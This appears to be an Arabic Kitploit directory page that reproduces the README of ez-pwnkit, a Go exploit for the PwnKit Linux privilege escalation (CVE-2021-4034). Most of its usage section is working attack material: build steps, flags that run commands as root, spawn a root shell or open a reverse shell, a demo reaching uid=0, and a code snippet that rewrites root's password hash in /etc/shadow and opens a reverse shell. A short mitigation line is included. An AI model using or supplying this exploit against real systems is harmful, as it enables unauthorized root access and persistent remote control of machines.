Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
ez-pwnkit — تنفيذ بلغة Go لاستغلال PwnKit لتصعيد الامتيازات المحلية في لينكس (CVE-2021-4034) | Kitploit
أدوات/GitHubGitHub/oxdbxkxo/ez-pwnkit
تصعيد الامتيازاتأطر الاستغلالتحليل الثغرات الأمنيةالاستغلالتطوير الحمولات
GitHuboxdbxkxo/ez-pwnkit

ez-pwnkit

تنفيذ بلغة Go لاستغلال PwnKit لتصعيد الامتيازات المحلية في لينكس (CVE-2021-4034)

عرض المستودع
923منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ez-pwnkit

تنفيذ نقي بلغة Go لاستغلال CVE-2021-4034 PwnKit.

يستخدم الاستغلال syscall.ForkExec للبقاء على قيد الحياة بعد انتهاء البرنامج الرئيسي.

التثبيت

root@kitploit:~
git clone https://github.com/OXDBXKXO/ez-pwnkit.git
cd ez-pwnkit
make

نظرًا لأن الاستغلال يعتمد على مكتبة مشتركة خبيثة، يتم إنشاء ملف PWN.so من payload.go ويُدمج في ملف exploit الناتج.

يستخدم Makefile أداة sed لتغيير اسم الحزمة لملف payload.go مؤقتًا إلى main، مما يجعل هذا Makefile خاصًا بنظام Linux فقط.

نظرًا لأن حمولة Go ليست موثوقة مثل حمولة C، فإن Makefile سيقوم بتجميع الاستغلال مع حمولة C افتراضيًا. يمكنك اختيار التجميع مع حمولة Go باستخدام make build_go.

الاستخدام

كملف تنفيذي مستقل

root@kitploit:~
$> ./exploit -h
Usage of ./exploit:
  -c string
        Run command as root in separate process
  -o    Pipe output of forked command to terminal
  -r string
        Open a reverse-shell in separate process. Format: ip:port
  -s    Spawn a root shell

يمكن استخدام الاستغلال إما مع أمر (-c)، أو كقشرة عكسية (-r)، أو لفتح قشرة جذر (-s).

root@kitploit:~
$> ./exploit -s
sh-5.1#
root@kitploit:~
$> ./exploit -c "cat /etc/passwd"
root@kitploit:~
$> ./exploit -o -c "cat /etc/passwd"
[/etc/passwd content]

كحزمة

root@kitploit:~
package main

import (
    "github.com/OXDBXKXO/ez-pwnkit"
)

func main() {
    // Change root password to 'password'
    ez_pwnkit.Command(`sed -i -e 's,^root:[^:]\+:,root:$6$eymNRCK.KxwDM6vu$idH0swGW1nsnLb8fT1QibUho5xg7uGJT7fuiheLZHIi9M4gTSk0qIOlUIk2Mm9/Nz5C.T4GkgkmLcK5BtOPkS0:,' etc/shadow`, false)

    // Open a reverse-shell
	ez_pwnkit.RevShell("127.0.0.1:1337")
}

لاحظ أن Command و RevShell يستخدمان syscall.ForkExec لتشغيل الاستغلال، وبالتالي تكون العمليات الناتجة منفصلة عن البرنامج الرئيسي وتستمر بعد انتهائه.

على الرغم من إمكانية استيراد go-PwnKit إلى مشروعك من Github، لا تنسَ أنك ستنفذ مكتبة مشتركة غير موثوقة بصلاحيات الجذر. لذلك يُنصح بشدة باستخدام PWN.so مُجمّع محليًا. فقط للتوضيح 😚

العرض التوضيحي

root@kitploit:~
$> ./exploit
sh-5.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-5.1#

التخفيف

قم بتصحيح pkexec إذا أمكن، وإلا قم بتعطيل بت setuid على ملف pkexec الثنائي.

root@kitploit:~
chmod 0755 /usr/bin/pkexec

الاعتمادات

هذا المشروع مستوحى من عدة PoCs أخرى لاستغلال PwnKit.

شكرًا لـ An00bRektn على إعداد الاستغلال المباشر.

شكرًا لـ PaterGottesman و berdav على وضوح شرح الاستغلال.

شكرًا لـ dzonerzy على خدعة GIO_USE_VFS.

تنزيل الأداة